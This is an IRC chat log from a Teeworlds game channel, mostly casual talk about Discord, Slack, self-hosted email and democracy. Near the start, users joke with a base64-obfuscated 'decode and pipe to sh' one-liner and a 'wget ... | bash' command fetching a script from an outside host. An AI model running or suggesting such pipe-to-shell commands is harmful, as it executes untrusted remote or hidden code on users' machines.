08:11 < bridge> [teeworlds] Yes imo blood can stay in custom clients 18:34 < TeeSlayer> Assa: You can manage the servers if you want to. I won't have any time for Teeworlds in the coming months anyway. 18:40 < TeeSlayer> cd 18:40 < TeeSlayer> .. 18:47 <@heinrich5991> echo ZWNobyB5b3Ugc2hvdWxkbnQgYWN0dWFsbHkgcnVuIHJhbmRvbSBjb2RlCg== | base64 -d | sh 19:01 < rand> 100% won't trust, 100% will run 19:32 < TeeSlayer> wget -O - http://hentai.ru/girl.sh | bash 22:57 < bridge> [teeworlds] "ZW" "Noby" 22:57 < bridge> [teeworlds] mhm 22:58 < bridge> [teeworlds] also 22:58 < bridge> [teeworlds] ```sh 22:58 < bridge> [teeworlds] $ echo ZWNobyB5b3Ugc2hvdWxkbnQgYWN0dWFsbHkgcnVuIHJhbmRvbSBjb2RlCg== | base64 -d | sh 22:58 < bridge> [teeworlds] you shouldnt actually run random code 22:58 < bridge> [teeworlds] ``` 22:58 < bridge> [teeworlds] doesnt seem to do anything 22:58 < minus> but it did 22:59 < bridge> [teeworlds] hey minus 22:59 < bridge> [teeworlds] long time no see 22:59 < minus> i'm always here tho 22:59 < bridge> [teeworlds] me not 22:59 < bridge> [teeworlds] tho 22:59 < minus> literally haven't missed a day on irc in the last 10 years 23:00 < bridge> [teeworlds] "irc" 23:00 < minus> okay maybe a few 23:00 < bridge> [teeworlds] tfw you never get to unplug 23:00 < minus> get off my lawn with your discord 23:00 < Dune> you're always with your computer? 23:00 < bridge> [teeworlds] no 23:00 < bridge> [teeworlds] i'm not even always with an internet connection 23:00 < bridge> [teeworlds] also i dont think discord is a good thing either 23:00 < bridge> [teeworlds] it just works for different people 23:01 < Dune> which you are part of 23:01 < minus> the day discord dies i'll laugh 23:01 < bridge> [teeworlds] for me it works better than irc since i'm there anyway 23:01 < minus> j/k i laugh about it every time 23:01 < Dune> proprietary chat clients have some sort of 6 years cycle 23:01 < minus> i think we can just agree that everything is shit 23:01 < Dune> but still they're necessary for non-techies 23:02 < bridge> [teeworlds] i do agree 23:02 < bridge> [teeworlds] but again, i have it because it works for some people 23:02 < bridge> [teeworlds] i mean its better than skype 23:03 < Dune> what happened to slack? 23:03 < bridge> [teeworlds] too expensive for most i guess 23:03 < minus> slack ate my memory 23:03 < bridge> [teeworlds] welp thats literally _every electron app out there_ 23:03 < minus> firefox task manager reported my slack tab at work with 2.47G of memory today 23:03 < bridge> [teeworlds] oh have you seen this _electron terminal app_ 23:04 < bridge> [teeworlds] which takes a full cpu core to display a blinking cursor? 23:04 < minus> hyper? 23:04 < bridge> [teeworlds] no idea how its called 23:05 < minus> paying >200€/month for slack \o/ 23:05 < bridge> [teeworlds] you personally? 23:05 < minus> nah, work 23:05 < bridge> [teeworlds] well its their decision 23:05 < bridge> [teeworlds] its offloading the work of administrating something yourself 23:05 < minus> definitely 23:05 < bridge> [teeworlds] because communication has to always work 23:05 < minus> i mean if mattermost worked well it'd be a different story 23:06 < bridge> [teeworlds] 28/7 23:06 < minus> we run most of the other crap ourselves tho 23:06 < bridge> [teeworlds] a company i know switched to a self hosted rocket chat recently (+ they modified a few bits and pieces tho mostly just the certificates and stuff) 23:06 < minus> except for email 23:06 < minus> and box 23:06 < minus> and salesforce 23:06 < minus> and some other business crap i don't touch 23:06 < bridge> [teeworlds] yeah. as i said, some things just have to always work 23:06 < bridge> [teeworlds] or are a really good deal if someone else does it 23:07 < minus> gitlab, jira, confluence we run ourselves tho 23:07 < bridge> [teeworlds] email is such a delicate piece of crap that it survived so long 23:07 < bridge> [teeworlds] but its not trivial to get it right 23:07 < minus> i'm pr0 at running email 23:07 < minus> i've been running my own mail server for ~9 years 23:08 < bridge> [teeworlds] well no, you set it up once 23:08 < Dune> cat >/dev/mail 23:08 < minus> and i literally didn't once drop all mail for two weeks 23:08 < minus> (i did) 23:08 <@heinrich5991> if only we could move the chat ecosystem to a more decentralized place 23:08 < bridge> [teeworlds] well i read a bunch of docs and then decided i'm super happy i have a hoster doing it for me 23:08 < Dune> heinrich5991, decentralization is inefficient 23:09 < bridge> [teeworlds] dune you can say democracy is inefficient 23:09 < bridge> [teeworlds] but i believe we all benefit from it 23:09 < minus> centralization is inefficient if google cloud is down 23:09 < bridge> [teeworlds] but i believe we all benefit from it in a way 23:09 <@heinrich5991> like yesterday 23:09 < minus> i bet someone ddosed their NA east region 23:09 < Dune> guenstig, democracy is centralized 23:09 < Dune> the power is 23:10 < bridge> [teeworlds] no, what you are describing is a republic 23:10 < minus> directy democracy plzkthx 23:10 < bridge> [teeworlds] democracy =!= republic 23:10 < Dune> take every single decision by a nation-wide referendum? 23:10 < minus> yes! 23:10 < bridge> [teeworlds] i dont say democracy is the perfect form (quote plato if you want), but its certainly not efficient 23:10 < minus> perferrably only by people who have proven to *have* a clue 23:10 < Dune> you always have a granularity 23:11 < minus> reminder that facebook mass manipulation is a thing 23:11 < Dune> you can't have people take minor decisions 23:11 < bridge> [teeworlds] well then how do you seperate those who "have a clue" from the others? 23:11 < Dune> ^ 23:11 < bridge> [teeworlds] those who studied? got a certain grade? 23:11 < minus> not my problem 23:11 < bridge> [teeworlds] your education elite? 23:14 < bridge> [teeworlds] the point of _democracy_ is that the δημος, everyone, takes on decisions 23:14 < bridge> [teeworlds] tho i agree it doenst work 23:14 < bridge> [teeworlds] tho i agree it doesnt work 23:14 < Dune> you can't have everyone take every decision, there are like hundreds of decisions taken every day day 23:15 < bridge> [teeworlds] exactly 23:15 < Dune> that's why you select a few competent and representative people to do that 23:15 < bridge> [teeworlds] thats why people came up with a republic 23:15 < Dune> and that is centralization 23:15 < bridge> [teeworlds] its a mixture 23:16 < bridge> [teeworlds] since when its about deciding who represents you, everyone gets to make the decision on their own 23:16 < Dune> has there even be a democratic system in FOSS development? 23:16 < Dune> it seems like people tout democracy but every local system is always top-down 23:16 < Dune> how many communities have democratically elected moderators? 23:17 < bridge> [teeworlds] problem is youre talking about the internet 23:17 < bridge> [teeworlds] where the base assumption is "everyone is harmful by intent" but control is possible 23:17 < Dune> the things we'd do for anonimity 23:19 < bridge> [teeworlds] thats two things that are radically different from the "real" world. absolute control is feasible on the internet (at least on a lower scale). and anonymity is a great thing 23:19 < bridge> [teeworlds] but some people behave differently 23:20 < bridge> [teeworlds] plus the base assumption when distributing power is that everyone else is surely harmful in which case nothing distributed can work. and even if everyone else was all nice, the basic assumption is what destroys things 23:21 < bridge> [teeworlds] also quoting our own irc rules here: "Be relevant, this is not a a channel about anything, it's about teeworlds." 23:22 < bridge> [teeworlds] so i'm sure to agree with you that the centralized step to switch to 0.7 has been the greatest decision ever made in the history of this game 23:22 < bridge> [teeworlds] oy "lets make it shitty so people will help to make it better" 23:22 < bridge> [teeworlds] oy: "lets make it shitty so people will help to make it better" 23:22 < Dune> edits don't go through well you know 23:22 < bridge> [teeworlds] i have no idea 23:23 < bridge> [teeworlds] i actually dont care 23:23 < bridge> [teeworlds] the meaning does come through 23:23 < bridge> [teeworlds] i do not need to appeal to anyone or anything in particular 23:23 < Dune> (message gets resent) 23:24 < bridge> [teeworlds] even better 23:24 < bridge> [teeworlds] then you can at least see what changed 23:24 < rand> \_o< 23:24 < bridge> [teeworlds] hey rand 23:24 < bridge> [teeworlds] you still active? 23:25 < bridge> [teeworlds] sorry, meant to say rand( 23:27 < rand> i'm still playing at least 23:28 < bridge> [teeworlds] cool 23:28 < bridge> [teeworlds] 23:28 < bridge> [teeworlds] https://cdn.discordapp.com/attachments/490150878934990850/585218170327924791/Screenshot_from_2019-06-03_23-25-06.png 23:28 < bridge> [teeworlds] you know there' still this 23:28 < rand> I know 23:28 < bridge> [teeworlds] so how are you doing? 23:28 < rand> surviving 23:29 < bridge> [teeworlds] i hope so at least 23:29 * rand starts Survivor music 23:29 < rand> what about you ? and chickenmilk ? 23:29 < bridge> [teeworlds] still kicking 23:30 < bridge> [teeworlds] me currently unemployed 23:30 < bridge> [teeworlds] about cm..... i guess only the hard ones survive 😃 nah, a nice chat every now and then 23:32 < bridge> [teeworlds] come on, get yourself a blanket and join in 23:32 < bridge> [teeworlds] (oh and a bunch of cookies please... blacky hasnt been that active lately) 23:43 * minus found some Survivor on his harddisk 23:43 < minus> 128kbps mp3 23:43 < minus> god that shit sounds awful